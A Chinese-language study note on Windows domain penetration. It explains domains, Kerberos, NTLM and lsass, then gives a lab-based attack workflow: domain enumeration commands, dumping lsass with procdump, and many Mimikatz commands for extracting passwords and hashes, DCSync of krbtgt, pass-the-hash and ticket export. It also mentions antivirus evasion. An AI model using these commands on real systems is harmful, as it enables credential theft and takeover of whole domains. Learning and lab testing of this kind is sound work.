共计 4710 个字符,预计需要花费 12 分钟才能阅读完成。
我们在学习渗透的过程中经常涉及到内网的域渗透,但Windows域结构复杂,涉及很多专有名词。
学习上手难度大,我写这篇文章也是为了自己能够归给自己一个备忘录,同时更加深入了解域渗透。
什么是域?
Windows 域(Windows Domain)是微软 Windows 网络操作系统中用于集中管理用户、计算机和其他网络资源的一种逻辑结构。它基于 Active Directory(活动目录) 技术,主要用于企业或组织内部的网络环境中,实现统一的身份验证、权限管理和资源访问控制。
简单来说域就像一个组织等级森严的公司,每个用户都有自己的凭证。
用户可以通过自己的凭证去访问相应的资源。
员工无论在域内哪台电脑登录,都能访问自己的文件和权限范围内的资源。
每个域最起码有一台域控制器(Domain Controller, DC),域控制器中保存着整个域的用户帐号和安全数据库。

Windows域有哪些用处?
-
集中身份验证 ,管理成本降低
域环境中,所有的网络资源,包括用户均是在域控制器上维护的,便于集中管理,所有用户只要登入到域,均能在域内进行身份验证,管理人员可以较好的管理计算机资源,管理网络的成本大大降低; -
统一策略管理(Group Policy)
管理员可以通过组策略(GPO)批量配置安全设置、软件安装、桌面环境等。
同时在域环境中也可以防止企业员工在域成员主机上违规安装软件,增强客户端安全性,减少客户端故障,降低维护成本。 -
资源集中管理
文件共享、打印机、应用系统等资源可按用户或组进行权限分配。 -
提高安全性与审计能力
所有登录和操作日志可集中记录,便于监控和合规审计。
使用漫游账户和文件夹重定向,个人账户的工作文件及数据等可以存储在服务器上,进行统一备份及管理,使用户的数据更加安全有保障;同时域控制器能够分发应用程序、系统补丁,用户可以选择安装,也可以由系统管理员指派自动安装,数据及系统安全性大大提高。 -
简化 IT 管理
大量计算机和用户可通过域进行批量部署和维护,降低运维成本。
域的特性
域成员计算机在登录的时候可以选择登录到域中或此计算机,登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的。
Kerberos是一种计算机网络认证协议 ,其设计目标是通过密钥系统为网络中通信的
客户机(Client)/服务器(Server)应用程序提供严格的身份验证服务,确保通信双方身份的真实性和安全性。不同于其他网络服务,Kerberos协议中不是所有的客户端向想要访问的网络服务发起请求,他就能建立连接然后进行加密通信,而是在发起服务请求后必须先进行一系列的身份认证,包括客户端和服务端两方的双向认证,只有当通信双方都认证通过对方身份之后,才可以互相建立起连接,进行网络通信。
即Kerberos协议的侧重在于认证通信双方的身份,客户端需要确认即将访问的网络服务就是自己所想要访问的服务而不是一个伪造的服务器,而服务端需要确认这个客户端是一个身份真实,安全可靠的客户端,而不是一个想要进行恶意网络攻击的用户。
Kerberos协议是一个比较复杂的体系,后面到具体渗透环节我们再展开来说
Windows认证机制
Windows本地认证
Windows的账号密码存储早在C:WindowsSystem32configSAM文件夹里面
windows 登入的过程先是启动winlogin.exe,当用户输⼊账号密码后,账号密码将会发送到lsass.exe,lsass.exe将会把用户输⼊的明⽂,转换为NTLM hash与,SAM⽂件存储的数据做比较,⽐较成功即登入成功。
Windows Logon: 是wWindows操作系统的用户登录程序,负责管理用户的登录和登出过程。它提供了用户输入账号和密码的界面,也称为登录页面或登录屏幕。
lsass: 是微软windows系统的安全机制,是Windows操作系统中的一个关键进程,负责处理本地安全和登录策略。它在Windows系统启动时自动启动,并一直运行在后台。
在内⽹渗透进⾏横向移动和权限提升时,最常⽤的⽅法是通过 dump 进程 lsass.exe,从中获得明⽂⼝令或者hash。 lsass.exe(Local Security Authority SubsystemService)是⼀个系统进程,⽤于微软Windows系统的安全机制,它⽤于本地安全和登陆策略。在进程空间中,存有着机器的域、本地⽤户名和密码等重要信息。但是需要⾸先获得一个较高的权限才能对其进⾏访问。
域渗透的基本思路
域渗透(Domain Penetration)是指攻击者在已经获取企业内网中某台主机(如普通员工电脑)的初始访问权限后,利用 Windows 域环境中的身份认证机制、权限配置缺陷或协议漏洞,逐步提升权限、横向移动,最终控制整个域(包括域控制器)的过程。
这是红队/渗透测试中的高级阶段,也是 APT 攻击的典型手法。
信息收集

无论渗透什么对象第一步要做的就是信息收集,为后面打下基础
这边建议自己搭建一个域环境深入了解后才能知道原理
这边我搭建了三台机器作为域环境
1.win8(192.168.190.137)
2.win10(192.168.190.131)
3.DC (WIN SERVER 2019)(192.168.190.10)
常用命令
route print 查看路由

arp -a 查看域中设备

net
“
net view #查看本地工作组/域环境中的设备
net view /domain #查看当前有几个域。
net group /domain #查看域的组别信息
whoami /user #确定自身权限
net group "domain controllers" /domain #查看域控管理员组的成员(域内高权限组)
定位域控
域控作为域的最⾼权限,⾃然是⾸要的攻击⽬标,可以通过刚才的⼀些已知的命令,来找到域控。
通过 net user /domain 来查看域内的账户;
通过 net group "domain controllers" /domain 来查看域控。
自身权限可以使⽤ whoami /user 命令快速查看。

获取密码
根据之前windows的认证知识我们可以知道,我们可以从lsass.exe的内存中获取明文密码或者是密码hash。那么我们就有了域渗透的大致思路了。
因为域管理员经常需要登录电脑进行操作,极有可能能够登陆域中较多的计算机,那么我们就可以获取lsass.exe的内存,从中获取域管理员的明文密码便成功的控制了整个域。
因此,域渗透的思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
从lsass中获取密码
procdump.exe
procdump是⼀款命令⾏⼯具,主要⽤途是监视应⽤程序的CPU异常动向,并且对内存做⼀个转储。上⾯提到了密码的明⽂与密⽂都存储在lsass⾥,所以使⽤procdump即可将 lsass 的内存资源转储出来。以下是它的⼀些参数。
1、相关参数
- -ma:写⼊“完整”转储⽂件。【包括所有内存 (映像、映射和专⽤);包括 (进程、线程、模块、句柄、地址空间等) 的所有元数据】
- -accepteula:使⽤该命令行选项时,表示⾃动接受Sysinternals许可协议。
2、简单使用
使⽤⽅式⾮常简单,指定参数和要转储内存的⽂件后,再指定保存的⽂件名,即刻获得后缀名为 .dmp 的内存转储⽂件。(需要管理员权限的命令行窗口才可操作)
procdump.exe -ma -accepteula lsass.exe passwd.dmp
#把内存当中的HASH导入到本地,并命名为passwd.dmp
正常我们是打不开passwd.dmp这个文件的,要是以记事本打开也都是乱码。这时,我们就要用到另一个小工具Mimikatz进行对passwd.dmp进行读取
Mimikatz
Mimikatz 是法国⼈benjamin开发的⼀款功能强⼤的轻量级调试⼯具,本意是⽤来个⼈测试,但由于其功能强⼤,能够直接读取WindowsXP-2012等操作系统的明⽂密码⽽闻名于渗透测试,可以说是渗透必备⼯具。
注意:
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
1、相关参数
因为 mimikatz 参数较多,这⾥只介绍常⽤的参数。
mimikatz # :: 显示帮助指令
mimikatz # cls 清空
mimikatz # log 记录所得到的信息
mimikatz # hostname 查看主机名
- privilege 模块
(需要管理员权限的命令行窗口才可操作)
mimikatz # privilege::debug 提升 mimikatz 权限(通过mimkatz自带的漏洞脚本对当前设备进行攻击)
- sekurlsa 模块
1、提取当前系统中已登录用户的密码(该方法需要先提升mimikatz权限)
mimikatz # sekurlsa::logonpasswords 获取所有账户密码(比procdump的使用更简单)
2、抓取用户NTLM哈希(读取内存的HASH-列出 LM 和 NTML 凭证)
mimikatz # sekurlsa::msv
3、加载dmp文件,并导出其中的明文密码
mimikatz # sekurlsa::minidump passwd.dmp 切换环境
mimikatz # sekurlsa::logonpasswords full 列出所有可用的凭据
4、导出lsass.exe进程中所有的票据
mimikatz # sekurlsa::tickets /export
5、列出 kerberos 凭证
mimikatz # sekurlsa::kerberos 获取kerberos认证信息(账户密码等)-域内
6、pass-the-hash 哈希传递
mimikatz # sekurlsa::pth
- lsadump 模块
mimikatz # lsadump::sam 查看sam文件内容获取用户名和NTLM hash
mimikatz # lsadump::secrets 获取当前用户密码
mimikatz # lsadump::dcsync /user:krbtgt 获取域控上krbtgt⽤户信息
- kerberos 模块
1、列出系统中的票据
mimikatz # kerberos::list 列出票据
mimikatz # kerberos::tgt 列出票据
2、清除系统中的票据
mimikatz # kerberos::purge 清除票据
3、导入票据到系统中
mimikatz # kerberos::ptc 票据路径
- process 模块
mimikatz # process::start command 启动进程
mimikatz # process::stop command 结束进程
mimikatz # process::list 列出进程
Mimikatz 因为效果太好导致会被杀毒警报,若是想在⽬标机器运⾏先考虑是否需要对 Mimikatz 做免杀处理。
2、简单使用
Mimikatz 能够从内存中提取纯⽂本密码,通过参数 sekurlsa::minidump 载⼊刚才procdump 获取的 dmp ⽂件后,就可以使⽤ sekurlsa::logonpasswords full 等命令,对密码进⾏读取。实现效果如下图:
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full
